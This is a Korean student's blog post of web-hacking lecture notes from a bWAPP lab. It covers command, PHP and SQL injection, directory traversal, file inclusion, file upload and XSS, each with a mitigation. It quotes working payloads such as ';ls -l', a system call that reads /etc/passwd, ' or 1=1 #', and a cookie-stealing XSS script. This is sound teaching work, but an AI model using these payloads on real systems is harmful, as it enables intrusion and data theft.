패스트터틀

웹 해킹 공격과 대응 본문

Cyber Security(undergraduate)/web security

웹 해킹 공격과 대응

SudekY 2019. 4. 30. 16:26

해커윤리와 해킹관련 법규

 

- 처벌형량도 굉장히 쌔고 벌금도 쌔다. 우리나라는 해킹에 굉장히 민감하다

 

정보보안의 3개 요소와 웹해킹

 

- Confidentiality (기밀성)

 허락 되지 않은 사용자 또는 객체가 정보의 내용을 알 수 없도록

- Integrity (무결성)

 허락 되지 않은 사용자 또는 객체가 정보를 함부로 수정할 수 없도록

- Availability (가용성)

 허락된 사용자,객체가 접근할때 방해안받게 해주는것

 

웹해킹 실습

 

- 절대 외부서버에 대한 공격시도 절대 금지!

 

- 실습을 위한 환경구축

 

------------------1PC------------------

WEB SERVER(VM) <-- Attacker PC(VM)

-----------------------------------------

 

Kali linux 를 이요한 공격자환경 구축

BeeBox을 이용한 공격희생서버환경 구축

 

웹사이트 만드는사람들이 엉청많아서 취약한 사이트가 엉청나게 많음

 

웹 애플리케이션 취약점을 포함한 최신 공격 기법 실습

 

bWAPP(buggy Web APPlication)이 설치된 가상환경

 - 항목별로 난이도 조정 가능 ( LOW MEDIUM HIGH )

 

서버열고 사이트 접속하면됨

 

웹 해킹공격 유형별 실습

 

OS Command Injection

 

선택후 난이도 low후

 

hack버튼 

 

Connect timed out 뜰꺼고

 

" www.nsa.gov;ls -l " 입력후 HACK (공격) 하면

 

정보가 다 노출이되버림

 

이렇기 때문에 이거를 방지하기위해서

 

escapeshellcmd 를 사용해서 방어해야됨 (명령을 위한 특수문자같은거를 막는것)

 

이런 공격들을 OS command Injection이라고함

 

PHP Code Injection

 

bWapp에서 php code injection 써서 테스트후

 

message 뒤에다가 test123; phpinfo();

 

이런식으로 입력하면 정보가 다 누출됨

 

또는 ;system(%27cat%20/etc/passwd%27) 추가하면 아예 계정정보가 누출 ㄷㄷ해...

 

이러다가 싹다 털리고 말겠는겅?

 

SQL Injection (리얼 존나 중요하고 유명한 콩격)

 

sql커멘드안에 다른 커멘드를 인젝션하여서 공격하는 기법

 

의도대로 사용하지않고 꼬아서 사용하는것

 

SQL Injection(GET/Search)를 쓰고 

 

' < 를 써면 

 

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1

 

이런식으로 실마리를 찾을수 있는 정보가 누출될수있음

(사실 이것까지 막아놓을 필요는없는데 에러메시지 자체는 정보를 줄수있기에 막아놓는것이 좋다고 함)

 

서버 접속후에

 

' < 를 쳐서 보면은 이거를 칠리가없는데

 

' or 1=1 # << 많이 씀

 

강사 왈 " 지루해도 길게 설명해드릴게요 sql인젝션의 핵심이거든요?"

 

php code

 

-->  $sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title). "%'";

 

-->  SELECT * FROM movies WHERE title LIKE '% ((((((((((네모)))))))))  %"

 

-->  SELECT * FROM moives WHERE title LIKE '% AA' union select 1,2,3,4,5,6,7 # %'

                                                            여기서 앞에 '를 닫아버리고 union으로 계속 연결해서 다음 해커가 필요한 명령어 입력후

 

%' < 이부분은 # < 을 사용하고 주석처리해버려서 오류가 안나게끔 하는방법

 

이것이 SQL의 핵심 뽀 이 뜨 라 이 말

 

select * from movies where title like '%해커가필요한명령문%'

 

막는법은 입력못하게 예외처리 조온나게 하면되는부분임

 

이렇게 하구 

 

select @@version; 을 사용해서 version정보를 취득, 취약점 파악 가능함

 

이밖에  @@datadir,@@basedir, @@등등

 

정보유출을 할수있음 

 

SQL Injection - load 

 

요렇게 파고파고들어서

 

비밀번호를 알아냈다고 침 물론 그러면 HASH로 되어있음

 

MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1 같은것은 존나 뚫리기 쉬움

 

이거를 온라인같은데보면 hash입력하면 무슨 해쉬인지 추적해주는 사이트에서 검색후에

 

종류를 파악후 또 그 종류를 파악해주는 사이트에 들어가면 또 그 결과출력

 

결과적으로 검색창하나만으로 어떻게 보면 결론적으로 아이디랑 패스워드를 따버렸음

 

아니면 똑같은 Hash값을 유도하는 값을 입력하면 뚫림 

 

 

 

 

 

 

 

근데 이런식으로하면 느려터지고 답답하고 shell을 사용하여 빠르게 보고 엉청 자유분방하게 보고싶어함

 

가상서버 만들고 상대서버에서 내 서버에다가 접속을 하게함

 

이렇게 명령 주고받음을 받는것을 shell을 땃다고 하는데 이런식으로 하면 굉장히 개꾸띠함~~

 

그래서 취약한 서버가 하나만있어도 그 서버를 통해 다른서버를 접속하는것은 매우쉬움

 

패스워드의 비슷한것과, 동료들끼리는 거의 열려있음

 

 

-2일차-------------------------------------------------------------------------------------

 

Directory Traversal - Files

 

디렉토리를 이동해서 다른 디렉토리로 이동할수있게 가능하게해야됨

 

Traversal 뜻 = 이동

 

말그대로 디렉토리 이동이라는 뜻임

 

파일이름을 주고 내용을 출력하게 하는 웹프로그래머들이 있음

 

예) page=Info.txt << 이런식으로 해서 하면 링크에 이런표시가 떠버림

 

page=/etc/passwd 로 고쳐서 확인해보면 계정정보 누출될수있음

 

이런식으로 php파일을 확인후 아주 보안이 심각할경우

 

해당 데이터베이스의 루트 아이디와 비밀번호를 습득 가능

 

이런 취약점을 막을수있는 방법으로는

 

BWAPP에서 low => high 로 바꿀경우

 

이런수법이 통하지않는데 비정상적인 입력을 감지하여서 에러발생하게끔 처리하였음

 

방어법으로는 디렉토리 이동을 막아버리게 하면됨 그렇지만 이것도 베스트 라고 할수는없음

 

Directory Traversal은 이런 txt파일 말고 jpg파일을 다운받을때도

 

이런식으로 경로가 누출되는 실수를 웹프로그래머들이 자주하기도함

 

 

Directory index

 

Robots.txt > 웹페이지의 root에다가 위치를 시키고 google의 봇이 여러 웹사이트를 다니면서 파싱을 하는데

 

이것이 접속해서 내용을 긁어서 데이터에다가 저장해놓는것인데 이 Google bot에게 자신의 사이트의 어느정도를 가져

 

가게하고 어느것은 못가져가게 제한을 거는것이 robots.txt의 역할임 Robots의 역할은 정보보호의 역할을함

 

bWAPP에서 ip주소/bWAPP/robots.txt 를 입력하면 들어갈수있는데 여기서 폴더를 확인할수있음

 

admin 이라는 폴더가있고 passwords , images, documents같은 폴더가 있다는 정보를 누출시킬수있음

 

ip주소/bWAPP/admin

ip주소/bWAPP/password 요렇게 들어가면됨

 

sql injection / command injection 이런것들은 기록이 남기 때문에 유의를 하여서 해야됨

 

요새는 웹방화벽이 있기 때문에 비정상입력시 경고를 하기 때문에 안전하다고 볼수있지만

 

이런 모든것들을 전부 비정상으로 취급할경우 관리자는 수많은 경고로 고통받기 때문에 대체적으로 어느정도의 정상적

 

인 접근과 비정상적인 접근의 경계를 잘 나뉘어야 하고 기준을 잡는다는것은 어렵기 때문에 힘들다.

 

다른얘기로 웹방화벽은 아주세세한 정보까지 기록을 남기는데 그리고 웹방화벽이 자체적으로 차단 그리고 ip가 남기

 

때문에 각별히 조심해야됨 

 

이렇기 때문에 여기저기 공격 날렸다가 쇠고랑 찰수있음 

 

Directory Listing(디렉토리 리스팅)

 

아파치웹서버에서 파일목록을 노출시키는 취약점

 

은 디렉토리를 목록화해서 넷에서 들어갈수있게 해주는것인데 이것이 불가능하게해줌

 

이것을 꺼놓으면 됨

 

Remote/Local file Inclusion

 

c할때 include로 라이브러리 불러오듯 php에도 include가 있는데

 

#include<stdio.h>  <=>   function any_func() 이런식으로 되어있다고 비교해서 보면됨

 

1.php 랑 inc.php가 있을때 1.php가 inc.php를 include한다고 했을때

 

bWAPP에서 Remote & Local FIle inclusion 을 하면 언어를 선택할수있는데 여기서 방식이 include방식을쓰고

 

여기에다가 해당 언어파일대신에 다른 파일을 쓴다고 하면 취약점이있다고 볼수있음

 

Web Server(공격당하는 웹서버) -- Web Server(공격에 사용하는 웹서버)를 구축하고

(192.168.56.101)                           (192.168.56.102)

 

Remote File Inclusion 취약점을 사용할것임

 

102에서 php파일을 작성후에 (inc.php)

 

http://192.168.56.102/inc.php 를 주소창에 입력하면 실행이됨

 

이것이 inclusion의 취약점을 이용한 공격기법임

 

또한 이것으로 shell을 딸수있음

 

victim                                         attacker

Web Server(공격당하는 웹서버) -- { Command shell Server = Web Server(공격에 사용하는 웹서버) }

(192.168.56.101)                                                           (192.168.56.102)

 

를 형성하여 shell을 따버리는것 사실 아직 shell에 대한 개념이 부족하여 무슨말인지 모르겠으나

 

shell을 딴다는것은 공격이 성공적이고 거의 해킹을 완료했다고 보면됨

 

이것을 막으려면 php에서 설정을 바꿔줘야함

 

php에서 allow url include = On 말그대로 url 로 include가능하게 하는기능인데 이기능을 Off시켜야됨

 

그리고 설정바꾸고 웹서버를 Restart해주면 불가능해짐 이것이 방어법이라고 함

 

그러니까 큰 카테고리에서의 이런 기법들을 알필요가 있음

 

왜냐하면 이것은 보안기업에서 이것을 질문할수가있음

 

그렇기 때문에 이런 큰 카테고리로 개념을 알고있으면 됨 

 

큰 카테고리에서의 이런 웹해킹공격들을 알고있는것이 도움이 됨

 

 

php-cgi

 

unrestricted File Upload 를 bWAPP에서 선택후

 

이미지 파일을 올리고

 

이미지파일을 들어가면 이미지 경로가 누출됨 

 

여기에다가 명령어 입력한 php올려버리고 들어가면 passwd 다볼수있음

 

막을때는 img확장자만 가능하게하고 Listing 안되도록 index? 인가 거기에다가 -를 붙힌다는데 이게 무슨말인지 아직

 

잘모르겠음 path가 노출되지않게 fileSeq넘버같은 형태로 url이 되어있어야됨 

 

해커들은 php web shell을 다운받아서 이걸 올려버림 (구글검색)

 

저거는 올려버리면 그냥 웹서버 다 쳐볼수있음 개 쓉사기임 그니까 다 털수있기에 엉청나게 위험한것임

 

XSS - Stored(Blog)

 

(CROSS SITE SCRIPTING) 크로스 사이트 스크립팅 

 

bWAPP에서 XSS선택후 입력하면 댓글형식으로 되어있는곳에 입력하면 댓글처럼 입력이됨

 

근데 이곳에다가 <script>document.write(document.cookie)</script>

 

하면 사용자가 불필요한 정보를 볼수있음

 

어떤 사이트의 서비스를 못하게 막는 <script>document.body.innerHTML = ""</script> (스크립트 날려버리기) 

 

이런것을 입력해버리면 아예 사이트 먹통됨

 

말로 시나리오를 설명하면 특정정당의 홈페이지에 어떤 해커가 이런 댓글이나 글에다가 스크립트를 넣어서 타이틀을 

 

바꿔버린다거나 내용을 날려버린다거나 어나니머스처럼 해골띄어놓고 할수있음

 

이부분은 엉청나게 많이 놓치는부분이고 막기가 힘들고 그래서 엉청나게 막음

 

그래서 엉청나게 많이당해서 개발자들이 코드를 못적어넣게 "<" <-- 이런것을 막아버림

 

그런데 댓글쓸때 이름, 이메일, 내용 중에서 내용부분은 막지만 이름하고 이메일은 또 까먹고 안막아 놓음

 

이거를 막는부분은 입력 최대 갯수를 막는게 있는데 최대갯수를 풀면 막을수있음

 

그런데 이렇게 막으려면 막아야되는부분이 상당히 많아짐 그렇기 때문에 방어가 힘들고

 

로컬프록시를 사용하면 또 뭐가 있어서 할수있다고함

 

buufsuite? buffsuit? 버프슈트? 버프슈프?가 있는데 해킹을 위한 도구라고함

 

버프슈트라는건 일단 local proxy를 알아야되는데 Web server - Client(Web browser)(chrome,interex..)

 

이렇게 클라이언트에서 웹서버에 접속을 해서 쓰는것이 인터넷인데 

 

근데 여기 가운데 Proxy라는것이 있는데 Client가 WebServer 사이에서 read/write로 전부 볼수있음

 

Localproxy는 Client와 proxy를 묶어서 쓰는것인데 이것으로 webserver의 내용을 전부 볼수있다는것임

 

크롬 개발자도구 -Network에서 로그인아이디로 비밀번호 볼수있듯이

 

로컬프록시는 크롬에서 더나아가 다른내용으로 변경해서 전달할수있게 제공을해줌

Comments